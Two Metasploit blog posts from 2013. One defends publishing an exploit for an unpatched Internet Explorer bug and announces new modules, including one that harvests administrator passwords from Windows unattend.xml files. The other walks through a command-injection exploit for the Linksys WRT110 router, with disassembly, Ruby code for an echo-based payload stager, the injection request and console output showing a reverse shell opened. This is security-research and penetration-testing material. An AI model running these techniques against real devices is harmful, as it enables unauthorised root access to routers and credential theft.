This week, you might have seen some press on our new exploit for CVE-2013-3893, some of which engages in that favorite infosec dichotomy of full disclosure vs "responsible" disclosure. First, if you want some technical details on the exploit development process used by our own Wei @_sinn3r Chen, the bop on over to his blog post on CVE-2013-3893. If you're interested in a retort to the doomsayers about our philosophy of free and open exploit dev, feel free to read on.

 

There's some concern that since Metasploit released an exploit for this unpatched vulnerability, we're "compounding" the situation, making things worse. I have to say, I kind of don't buy the reasoning behind that for a couple reasons. To start, criminal users of exploits already had the goods; while we picked up our sample about a week before publishing the exploit, there's some intelligence that suggests that this vulnerability has been part of criminal campaigns since at least early August, 2013, and quite probably earlier.

 

An exploit going mainstream in the form of a Metasploit module can have the upside benefit of raising general awareness of the bug in question. This, in turn, can put pressure on vendors to issue patches. We saw pretty much exactly that back in January: On January 11, we published an exploit for an unpatched vuln in Java, and there was similar hand-wringing about "responsible" exploit disclosure. Two days later, 7u11 was released. This kind of turnaround is exceedingly rare for Oracle. Was the availability of a Metasploit module the cause of the lickity-split patch release? You'll have to ask them, but it looks like a pretty solid cause-and-effect relationship to me. I don't know if this is going to play out exactly the same way for this MSIE bug. Microsoft does have a Fix-It available, and EMET 4.0 appears effective as well, so that does buy some time for concerned end users, but at least now it's not just bad guys who can test your end-user protection mechanisms.

 

Speaking of which, if your security posture depends on a lack of public exploits for 0-days, I have to say, you're kind of doing it wrong. "Defense in depth" is a security mantra for a reason. If your organization gets popped because of a client-side 0-day, I hope your incident response report contains some suggestions on how not to get owned the same way next time. You do have an IR plan, right? In the era of a hostile Internet, I don't think it's reasonable to rely on perfect software, nor is it reasonable to rely on limited availability of exploits where only criminals and shady government operations have access to attack tools.

 

So, I think Metasploit is pretty reasonable when we go about publishing exploits. We have a partial-secrecy disclosure policy that we stick to for what we believe to be truly unique zero-days, but when something serious is circulating on the Internet, we've found it's best for everyone to invite everyone to participate in the risk-assessment process.

 

New CMD stager for embedded devices

Okay, rant over. Let's talk about something more pleasant, like Joe Vennix's and Juan Vazquez's work on a new CMD stager for limited Linux platforms. You can read up on the vulnerability that started it and the research that followed at Juan's recent blog post. It's long, but totally worth it, and culminates in a reliable exploit for CVE-2013-3568 for Linksys routers. This work is available now in the latest Metasploit update, revolving around using plain old "echo" to construct a payload on the victim device.

 

Since this was published, we have a new, possibly even better version, that uses the shell-builtin "printf" function (common to all POSIX-compliant shells) in the form of Pull Request #2412 from community contributor Markus mwulftange Wulftange. We'll be probing the limits of this technique's portability soon, so look for it in an upcoming update.

 

Hitting up unattend.xml for passwords

Finally, I'd like to hilight a module we've landed from community contributor Ben @Meatballs__ Campbell. Turns out, when Windows is installed using a scripted installation -- which is common for many corporate environments -- the unattended "answer file" is often left behind on the installed system. This can contain lots of juicy sensitive data, not the least of which are default local administrator passwords. Ben's module makes short work of these, and honestly, and checking to see if a compromised target has this trove of info should be part of any penetration testing engagement.

 

Note that clearing sensitive data is part of normal post-installation, but there are several ways this sanitation can fail, as discussed on Christopher Blake's blog, here. So, to defend against this info-leak, system administrators are advised to be on the lookout for these installation artifacts, lest they fall into the hands of your industrious local penetration tester.

 

New Modules (and much more!)

Including the four discussed above, we've got eight new modules this week, including a new exploit for Nodejs (with an accompanying "ARCH_NODEJS" payload, which is exciting), and exploits for Astium, ZeroShell, and freeFTPd. There's a ton of other exciting new fixes and content in this release I didn't get a chance to highlight as well, most notably, the fact that this update bumps Metasploit to version 4.7.1, so that means new bins for Nmap, Postgres, and updated Rails and other Ruby gems. So, your total update size is going to be bigger than usual.

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Introduction

 

Earlier this summer Craig Young posted on Bugtraq about a root command injection vulnerability on the Linksys WRT110 router. This was a nice one because because the request, basic authentication protected, is also exploitable through CSRF:

 

bugtraq.png

Our awesome Joe Vennix figured out the vulnerability and how to exploit it to get a session, even on a restricted Linux environment like the Linksys one. Since the experience can be useful for others exploiting embedded devices, here it is!

 

The Vulnerability

 

The exploit, a command injection vulnerability, can be found on the http service assembler, specifically on the cgi_ping handler, reachable from the web interface. The vulnerable code gets the usercontrolled "pingstr" from the HTTP query:

 

.text:0040FFB0 loc_40FFB0:                              # CODE XREF: cgi_ping+2D8 j
.text:0040FFB0                la      $t9, atoi
.text:0040FFB4                nop
.text:0040FFB8                jalr    $t9 ; atoi
.text:0040FFBC                nop
.text:0040FFC0                lw      $gp, 0xE0+var_C8($sp)
.text:0040FFC4                nop
.text:0040FFC8                la      $a0, 0x460000
.text:0040FFCC                nop
.text:0040FFD0                addiu  $a0, (aPingstr - 0x460000)  # "pingstr"
.text:0040FFD4                move    $s0, $v0
.text:0040FFD8                la      $t9, get_cgi
.text:0040FFDC                nop
.text:0040FFE0                jalr    $t9 ; get_cgi
.text:0040FFE4                nop
.text:0040FFE8                lw      $gp, 0xE0+var_C8($sp)
.text:0040FFEC                bnez    $v0, loc_410000













 

Builds the command line using the sprintf function with with user controlled data:

 

.text:00410000
.text:00410000 loc_410000:                              # CODE XREF: cgi_ping+328 j
.text:00410000                                          # DATA XREF: .got:10001E24 o
.text:00410000                move    $a2, $s1
.text:00410004                move    $a3, $s0 ; user controlled data from "pingstr"
.text:00410008                addiu  $a0, $sp, 0xE0+var_C0 ; store the resulting command
.text:0041000C                la      $a1, 0x460000
.text:00410010                nop
.text:00410014                addiu  $a1, (aPingFCDSDS - 0x460000)  # "ping -f -c %d -s %d %s &"
.text:00410018                sw      $v1, 0xE0+var_D0($sp)
.text:0041001C                la      $t9, sprintf
.text:00410020                nop
.text:00410024                jalr    $t9 ; sprintf
.text:00410028                nop
.text:0041002C                lw      $gp, 0xE0+var_C8($sp)
.text:00410030                b      loc_4100E8
.text:00410034













 

And finally executes it through system, making it vulnerable to command injection:

 

.text:004100E8 loc_4100E8:                              # CODE XREF: cgi_ping+36C j
.text:004100E8                la      $a0, 0x460000
.text:004100EC                nop
.text:004100F0                addiu  $a0, (aMarmotPingStrS - 0x460000)  # "marmot: ping str %s\n"
.text:004100F4                addiu  $a1, $sp, 0xE0+var_C0
.text:004100F8                la      $t9, printf
.text:004100FC                nop
.text:00410100                jalr    $t9 ; printf
.text:00410104                nop
.text:00410108                lw      $gp, 0xE0+var_C8($sp)
.text:0041010C                addiu  $a0, $sp, 0xE0+var_C0 ; The command built from user controlled data
.text:00410110                la      $t9, system
.text:00410114                nop
.text:00410118                jalr    $t9 ; system
.text:0041011C                nop
.text:00410120                lw      $gp, 0xE0+var_C8($sp)
.text:00410124













 

Unfortunately, even with the ability to execute arbitrary commands, getting a session on a Linksys WRT110 wasn't so straightforward. This was because of a very restricted busybox environment, a lack of utilities such as wget, openssl, and daemons like telnetd. On this environment, Joe was still able to launch a stager by injecting echo commands, enabling interpretation of backslash escapes ("-e" flag). Some of you may also find Metasploit's new CMD stager useful for exploiting other restricted Linux environments.

 

The New CMD Stager


Following we're going to review the basics of the new stager. First of all, a new Rex::Exploitation::CmdStagerBase subclass is provided, Rex::Exploitation::CmdStagerEcho. This class will get the final payload, embed it into an ELF file, and generate the necessary commands to drop it to filesystem, execute and clean it. We're going to review the most interesting methods CmdStagerEcho is overriding in order to provide the new stager:


  • generate: This method is overridden to ensure opts[:path] is a correct *nix path, and finally calls the parent method, who generates the cmd payload including the decoding of an encoded payload, execution and cleanup commands.

 

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'
  opts[:temp].gsub!(/\\/, "/")
  opts[:temp] = opts[:temp].shellescape
  opts[:temp] << '/' if opts[:temp][-1,1] != '/'
  super
end









 

  • generate_cmds: This method is overridden to set the extra byte count (in order to split correctly the original file with the payload). Also set the start/end of the commands, which are the commands around every part of the original file with the payload.

 

def generate_cmds(opts)
  @cmd_start = "echo -en "
  @cmd_end  = ">>#{@tempdir}#{@var_elf}"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end














 

  • encode_payload: This method must be overridden in order to encode the payload if necessary. In this case, the String containing the ELF with the payload musb be incoded into a "\\x55\\xAA" hex format that echo understands, where interpretation of backslash escapes is enabled.

 

def encode_payload(opts)
  return Rex::Text.to_hex(@exe, "\\\\x")
end















  • slice_up_payload: This method take a string of data (the encoded payload) and turn it into an array of usable pieces (parts). That's used to circumvent limitations on the executed command length. This method must be overridden because the, on the current stager, the representation of an hex byte cannot be split:

 

def slice_up_payload(encoded, opts)
  encoded_dup = encoded.dup


  parts = []
  xtra_len = opts[:extra]
  xtra_len ||= 0
  while (encoded_dup.length > 0)
    temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
    # cut the end of the part until we reach the start
    # of a full byte representation "\\xYZ"
    while (temp.length > 0 && temp[-5, 3] != "\\\\x")
      temp.chop!
    end
    parts << temp
    encoded_dup.slice!(0, temp.length)
  end


  parts
end



















  • parts_to_commands: This method combines the parts of the encoded file with the stuff that goes before / after it, in order to generate every command:

 

def parts_to_commands(parts, opts)
  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end














 

  • generate_cmds_decoder: since there is no decoding task in this stager (echo with the "-e" flags allow to write binary contents to the file directly), this method is overridden just to provide the commands necessary to drop, chmod, and execute the binary payload, and then optionally delete it after executing:

 

def generate_cmds_decoder(opts)
  cmds = []
  # Make it all happen
  cmds << "chmod +x #{@tempdir}#{@var_elf}"
  cmds << "#{@tempdir}#{@var_elf}"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "rm -f #{@tempdir}#{@var_elf}"
  end

  return cmds
end










 

Once the new Rex class is ready, the next step is to provide a new Exploit mixin so modules for command injection vulnerabilities can easily use it to get a new session. In order to provide a new CmdStager mixin, it should include the CmdStager interface, define a create_stager method, and override any other methods if necessary. In this case, just defining create_stager to return a new Rex::Exploitation::CmdStagerEcho instance is all what is needed:

 

####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices.
####

module Exploit::CmdStagerEcho

  include Msf::Exploit::CmdStager

  # Initializes a CmdStagerEcho instance for the supplied payload
  #
  # @param exe [String] The payload embedded into an ELF
  # @return [Rex::Exploitation::CmdStagerEcho] Stager instance
  def create_stager(exe)
    Rex::Exploitation::CmdStagerEcho.new(exe)
  end
end














 

Getting shells

 

Once here, an exploit can profit off the new CMD stager by including the new mixin (Msf::Exploit::CmdStagerEcho), calling the execute_cmdstager from the exploit method, and define the execute_command method. This method should allow to execute an arbitrary command, through the exploited vulnerability. In the CVE-2013-3568 case, an HTTP POST query with the command injection in the 'pingstr' variable is sent:

 

# Run the command on the router
def execute_command(cmd, opts)
  send_request_cgi({
    'uri' => '/ping.cgi',
    'method' => 'POST',
    'vars_post' => {
      'pingstr' => '& ' + cmd
    }
  })
end














 

Finally, time to enjoy shells!

 

msf exploit(linksys_wrt110_cmd_exec_stager) > show options

Module options (exploit/linux/http/linksys_wrt110_cmd_exec_stager):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  admin            no        Password to login with
   Proxies                    no        Use a proxy chain
   RHOST     192.168.1.1      yes       The address of the router
   RPORT     80               yes       The target port
   TIMEOUT   20               no        The timeout to use in every request
   USERNAME  admin            yes       Valid router administrator username
   VHOST                      no        HTTP server virtual host


Payload options (linux/mipsle/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux mipsel Payload


msf exploit(linksys_wrt110_cmd_exec_stager) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444 
[*] 192.168.1.1:80 - Trying to login with admin:admin
[+] 192.168.1.1:80 - Successful login admin:admin
[*] Command Stager progress -  90.69% done (2046/2256 bytes)
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.1:32771) at 2013-09-16 14:41:48 -0500

[*] Command Stager progress - 100.00% done (2256/2256 bytes)

ls
AdminDiag.htm
AdminManage.htm
AdminRebootConfig_Clicked.htm
AdminRebootConfig_Clicked_reboot.htm
AdminReport.htm
AdminRestore.htm
AdminRouting.htm
AdminUpgrade.htm
AdminUpgradeFail.htm
AdminUploadConfigFail.htm
AdvancedWirelessSettings.htm
AppDDNS.htm
AppDDNSDYN.htm
AppDDNSDYN_msg.htm
AppDDNSTZO.htm
AppDDNSTZO_msg.htm
AppDDNSURL.htm
AppDMZ.htm
AppDMZDHCPClientTable.htm
.
.
.

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Filter Blog

By date: By tag: